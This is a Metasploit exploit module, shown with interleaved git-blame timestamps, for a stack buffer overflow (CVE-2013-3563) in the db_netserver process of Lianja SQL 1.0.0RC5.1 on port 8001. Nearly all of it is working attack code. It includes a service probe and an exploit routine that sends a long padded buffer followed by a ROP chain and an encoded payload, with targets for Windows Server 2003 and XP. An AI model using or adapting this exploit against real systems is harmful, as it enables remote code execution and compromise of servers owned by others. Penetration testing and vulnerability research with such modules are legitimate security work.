2013-05-29 12:48:41 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-05-30 19:25:05 +00:00
|
|
|
Rank = NormalRanking
|
2013-05-29 12:48:41 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2013-05-30 15:13:22 +00:00
|
|
|
include Msf::Exploit::RopDb
|
2013-05-29 12:48:41 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2013-06-03 19:40:38 +00:00
|
|
|
This module exploits a stack buffer overflow in the db_netserver process, which
|
2013-05-30 19:25:05 +00:00
|
|
|
is spawned by the Lianja SQL server. The issue is fixed in Lianja SQL 1.0.0RC5.2.
|
2013-05-29 12:48:41 +00:00
|
|
|
},
|
2013-05-30 19:25:05 +00:00
|
|
|
'Author' => 'Spencer McIntyre',
|
2013-05-29 12:48:41 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' => [
|
2013-06-01 19:27:50 +00:00
|
|
|
[ 'CVE', '2013-3563' ],
|
|
|
|
[ 'OSVDB', '93759' ]
|
2013-05-29 12:48:41 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2013-05-30 19:25:53 +00:00
|
|
|
'WfsDelay' => 20
|
2013-05-29 12:48:41 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2013-05-30 19:25:05 +00:00
|
|
|
'Arch' => ARCH_X86,
|
2013-05-29 12:48:41 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'Space' => 500,
|
2013-05-30 19:25:53 +00:00
|
|
|
'BadChars' => "\x01"
|
2013-05-29 12:48:41 +00:00
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2013-05-30 19:25:05 +00:00
|
|
|
[ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
|
|
|
|
[ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
|
2013-05-29 12:48:41 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => 'May 22 2013'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8001),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
begin
|
|
|
|
connect
|
|
|
|
rescue
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
sock.put("db_net")
|
|
|
|
if sock.recv(4) =~ /\d{1,5}/
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
sock.put("db_net")
|
|
|
|
sock.recv(4)
|
|
|
|
|
|
|
|
print_status("#{rhost}:#{rport} - Sending Malicious Data")
|
|
|
|
evil_data = '000052E1'
|
|
|
|
evil_data << 'A'
|
|
|
|
evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
|
2013-05-30 15:13:22 +00:00
|
|
|
evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
|
2013-05-29 12:48:41 +00:00
|
|
|
sock.put(evil_data)
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|